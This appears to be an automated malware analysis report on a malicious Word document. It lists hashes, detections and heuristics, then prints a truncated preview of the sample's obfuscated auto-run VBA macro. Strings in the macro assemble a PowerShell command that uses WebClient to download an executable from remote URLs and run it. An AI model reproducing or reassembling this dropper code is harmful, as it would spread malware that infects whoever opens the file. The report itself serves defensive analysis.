Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7ccd82c9d5bb0a7e…

MALICIOUS

Office (OLE)

198.0 KB Created: 2017-12-26 10:13:00 Authoring application: Microsoft Office Word First seen: 2018-01-08
MD5: a54c956bc0a1096c3723fb48b0d69ff8 SHA-1: ff691e0c54897717d11066dfb68abde25b115cdb SHA-256: 7ccd82c9d5bb0a7e166ef16f3ff3695f6d74ece2cb504c5fdd0b2479d76cf65b
302 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is a malicious Office document containing a VBA macro. The macro is obfuscated but includes a Shell() call, indicating an attempt to execute arbitrary code. ClamAV detections suggest it acts as a dropper for other malicious payloads. The AutoOpen macro further suggests an immediate execution attempt upon opening the document.

Heuristics 7

  • ClamAV: Img.Dropper.PhishingLure-6443153-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Img.Dropper.PhishingLure-6443153-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 78041 bytes
SHA-256: b52aafdbd00f3eef4eb62348cc98cdf5ab3192875aee5bec9650c6ab94dae093
Detection
ClamAV: Doc.Trojan.Obfuscated-6443078-0
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "kzXWnfjj"
Function CuSrBOktQitAis()
On Error Resume Next
XUEUUBUi = 44224474 / irimXzUzir - 536083786 + CSng(iBItGaiazmEYOi) + 2 - Chr(7013) - NObMLFflS / 8527 * QtvPFoiLAKE + Fix(7798) + 9905 * Sin(7) / 310 * Sin(YUzClimiT)
ZqQLK = 44224474 / ASwGtiABRjRnKJ - 536083786 + CSng(GGzpYaRaO) + 2 - Chr(7013) - VifCmsSJJB / 8527 * zjTOZnMCzo + Fix(7798) + 9905 * Sin(7) / 310 * Sin(VRbZjMd)
bzBwVAR = Mid("h3OhzCzZ5i61Qahl61,[CtYB+tYBHAr]92)4'+'BG& ( H9PENv:PubLic[13]+H9PENV:PUbl'+'Ic[5]+l61Xl61)tYB)  '+'-rEPlaCE(wpicwBD6lLX74W", 11, 99)
NtIzbCE = 44224474 / IHlGXRftwP - 536083786 + CSng(RqjiLtzWMNULA) + 2 - Chr(7013) - GNITAzoHwlodw / 8527 * QfHLpXGdS + Fix(7798) + 9905 * Sin(7) / 310 * Sin(akoIHGnwlQ)
NfqHl = 44224474 / KijhFVJEwCpMf - 536083786 + CSng(ZYvzGntWOzZBdb) + 2 - Chr(7013) - URiBNBaBfSAmi / 8527 * XDddHAbidCt + Fix(7798) + 9905 * Sin(7) / 310 * Sin(nTjIDriPckHKSs)
UflAj = 44224474 / EWZzQBKuv - 536083786 + CSng(hujFhGJWcjduot) + 2 - Chr(7013) - KjApwrriA / 8527 * IhNYWwjX + Fix(7798) + 9905 * Sin(7) / 310 * Sin(tqICZAiaJj)
GtArMQz = Mid("mckpjject Sl61+l61ysl61+l61tem.Net.WetYB+tYBbC'+'l61+l61ll61+l61ienl61+l61t'+';fNDnsaltYB+tmXJliC7wFzYiVoF", 6, 86)
zPAaHjTmjHH = 44224474 / WPiFAPwrwvYWaN - 536083786 + CSng(ojITOHUXPJEO) + 2 - Chr(7013) - mwTLOBESwwsiqb / 8527 * MfVHCrwaBzir + Fix(7798) + 9905 * Sin(7) / 310 * Sin(sPwwAzE)
KjBcnOdpzPP = 44224474 / JBXOFrFkUJi - 536083786 + CSng(BaRZOSii) + 2 - Chr(7013) - jAczltEqwqC / 8527 * EaQqUojB + Fix(7798) + 9905 * Sin(7) / 310 * Sin(RBcEPGNj)
bhqhEu = 44224474 / cNHYISp - 536083786 + CSng(QoXfkLjnwMHp) + 2 - Chr(7013) - SLkKCajzwi / 8527 * XjkSOitYHqlKH + Fix(7798) + 9905 * Sin(7) / 310 * Sin(QjfJznqO)
TQLvfmMuw = Mid("jrMALlj1YCm(fNDhul61+l61as);'+'breal61+l61k;}cl61+ltYB+tYB61atch{wl61+l61rite-host fl61+l61ND_l61+l61.Exceptil61+l61on.l6wwH77jXZbj", 11, 111)
kSPmMGnc = 44224474 / VIjBcAuRTwBu - 536083786 + CSng(ScwzABiuiB) + 2 - Chr(7013) - XPzzsWnqGLVt / 8527 * DzPwCUiAMti + Fix(7798) + 9905 * Sin(7) / 310 * Sin(GRFMBrr)
pIVTv = 44224474 / imTSqkv - 536083786 + CSng(sciisSvsUSWj) + 2 - Chr(7013) - lwrmpfjB / 8527 * fBqTwAKHtiGs + Fix(7798) + 9905 * Sin(7) / 310 * Sin(uGqoTXsCkFf)
aFijNXSJiAE = 44224474 / zdNBuYw - 536083786 + CSng(LnMziVuC) + 2 - Chr(7013) - lrJTjLWQzmEh / 8527 * FTindZkOCiY + Fix(7798) + 9905 * Sin(7) / 310 * Sin(oYhlSkXCbP)
KZTUKZl = Mid("fW5J7UNQFLtYBcd){l61+lzmSTdSaCmoMiR7q8B9", 11, 12)
iAauN = 44224474 / wqbfBEOkKzjsZ - 536083786 + CSng(uhNYrcUFBk) + 2 - Chr(7013) - BMJJiuvKfzKibs / 8527 * sHUzZwOzcK + Fix(7798) + 9905 * Sin(7) / 310 * Sin(MNCTroqkzsEaj)
SLlfV = 44224474 / lvfvKWjRoomk - 536083786 + CSng(moGAlNE) + 2 - Chr(7013) - DREzZlqoMiF / 8527 * tKXaMZIH + Fix(7798) + 9905 * Sin(7) / 310 * Sin(piqGTPlaOdtpHh)
uGKZw = 44224474 / khtWjwl - 536083786 + CSng(SjMkELwmPhw) + 2 - Chr(7013) - iiHMHVsrsjojo / 8527 * oQVasMEjvSGHkf + Fix(7798) + 9905 * Sin(7) / 310 * Sin(NdXcrUCajOOGt)
QBSrBM = Mid("8UJ6jWZYmhJgardl61+l61sl61tYB+tYB+l61stadenl61+l61.l61+l61sltYB+tYB61'+'+l61el61+l61/XQYGro/,hl61+l61ttp:l61+l61//ww'+'w.l6t'+'YB+tYB1+l61dantYB+tYBctYB'tdYF1lqrdS3mDSOYLsjR7Wt", 12, 142)
bVPkzaOmvS = 44224474 / bwlkpccJjZH - 536083786 + CSng(QfnLEwiOiOq) + 2 - Chr(7013) - WEOzBMV / 8527 * ctzOoXRTMYJj + Fix(7798) + 9905 * Sin(7) / 310 * Sin(nUuaRosY)
pAvznwRiq = 44224474 / lIwjfAvIY - 536083786 + CSng(bIrZsSNYzKTtOi) + 2 - Chr(7013) - wmDVpQP / 8527 * pLiKZdj + Fix(7798) + 9905 * Sin(7) / 310 * Sin(ZruAhuXW)
mBtLBSdjtYr = 44224474 / vMHiOkOfIT - 536083786 + CSng(VAXfZWh) + 2 - Chr(7013) - PBJEKvjjTWj / 8527 * dNIznHJIhE + Fix(7798) + 9905 * Sin(7) / 310 * Sin(QqcpmzPBuHNJ)
nwAJIU = Mid("TdBd01KwPADmZqVqktczc1s l6'+'1+l61+l'+'61+l61 nl61+l61tf.exentf;ftYB+tYBorel61tYB+tYB+l61atYB+tYBcl61+ltYB+tYB61h(ftYB+tYBNDab'+'c'+'l61+'+'l61 in 
... (truncated)

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